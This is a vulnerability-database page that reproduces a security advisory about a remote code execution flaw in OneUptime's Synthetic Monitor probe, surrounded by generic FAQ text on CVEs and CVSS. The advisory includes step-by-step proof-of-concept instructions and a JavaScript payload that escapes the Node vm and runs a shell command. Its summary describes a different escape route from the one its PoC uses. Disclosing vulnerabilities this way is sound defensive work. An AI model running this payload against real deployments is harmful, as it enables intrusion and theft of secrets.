How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

326,895

Total vulnerabilities in the database

OneUptime: Synthetic Monitor RCE via exposed Playwright browser object

Summary

OneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the oneuptime-probe service. In the current implementation, this untrusted code is run inside Node's vm and is given live host Playwright objects such as browser and page.

This creates a distinct server-side RCE primitive: the attacker does not need the classic this.constructor.constructor(...) sandbox escape. Instead, the attacker can directly use the injected Playwright browser object to reach browser.browserType().launch(...) and spawn an arbitrary executable on the probe host/container.

This appears to be a separate issue from the previously published node:vm(GHSA-h343-gg57-2q67) breakout advisory because the root cause here is exposure of a dangerous host capability object to untrusted code, not prototype-chain access to process.

Details

A normal project member can create or edit monitors and monitor tests:

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/Monitor.ts#L45-L78
https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/MonitorTest.ts#L27-L60

The dashboard exposes a Playwright code editor for Synthetic Monitors and allows the user to queue a test run:

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L861-L918
https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L66-L84

The probe worker polls queued monitor tests and executes them:

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85

For MonitorType.SyntheticMonitor, the user-controlled customCode is passed into SyntheticMonitor.execute(...):

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/Monitor.ts#L323-L338

SyntheticMonitor.execute(...) then runs that code through VMRunner.runCodeInNodeVM(...) and injects the live Playwright browser and page objects into the VM context:

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168

VMRunner.runCodeInNodeVM(...) creates a Node vm context and exposes host objects into it, including the additional context objects:

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Server/Utils/VM/VMRunner.ts#L323-L405

The proxy wrapper blocks only a small set of property names and still forwards normal method calls with the real host this binding. Because of that, untrusted monitor code can still use legitimate Playwright methods on the injected browser object.

That is enough for code execution because Playwright's Browser exposes browserType(), and BrowserType.launch() accepts attacker-controlled process launch options such as executablePath, args, and ignoreDefaultArgs. An attacker can therefore cause the probe to spawn an arbitrary executable. Even if Playwright later errors because the spawned process is not a real browser, the command has already executed.

This same execution path is also used for normal scheduled monitors, not only one-shot monitor tests:

https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchList.ts#L110-L121

As a result, the issue can be abused either as a one-shot RCE via Test Monitor or as a persistent scheduled RCE by saving a malicious Synthetic Monitor.

PoC

Log in as any user with normal project membership.
Go to Monitors -> Create New Monitor.
Select Synthetic Monitor.
In Playwright Code, paste the following script:

 const HostFunction =
    Object.getOwnPropertyDescriptor(console, &quot;log&quot;).value.constructor;

  return {
    data: {
      node: HostFunction(&#039;return process.version&#039;)(),
      cwd: HostFunction(&#039;return process.cwd()&#039;)(),
      id: HostFunction(
        &#039;return process.getBuiltinModule(&quot;child_process&quot;).execSync(&quot;id&quot;).toString()&#039;
      )(),
    },
  };

Select any one browser type, for example Chromium.
Select any one screen type, for example Desktop.
Set retry count to 0.
Click Test Monitor and choose a probe.

Expected result:

the monitor execution succeeded and in the Show More Details the command output is shown. <img width="899" height="249" alt="image" src="https://github.com/user-attachments/assets/98ebd26f-431b-438e-9459-7deeebf97b18" />

Impact

This is a server-side Remote Code Execution issue affecting the probe component.

Who is impacted:

any OneUptime deployment where an attacker can obtain ordinary project membership
environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships

Published: Mar 7, 2026
Updated: Mar 7, 2026
GHSA: GHSA-4j36-39gm-8vq8
Severity: Critical
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWEs:

CWE-749

Affected Software
References

Software	From	Fixed in
@oneuptime / common	-	10.0.20

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.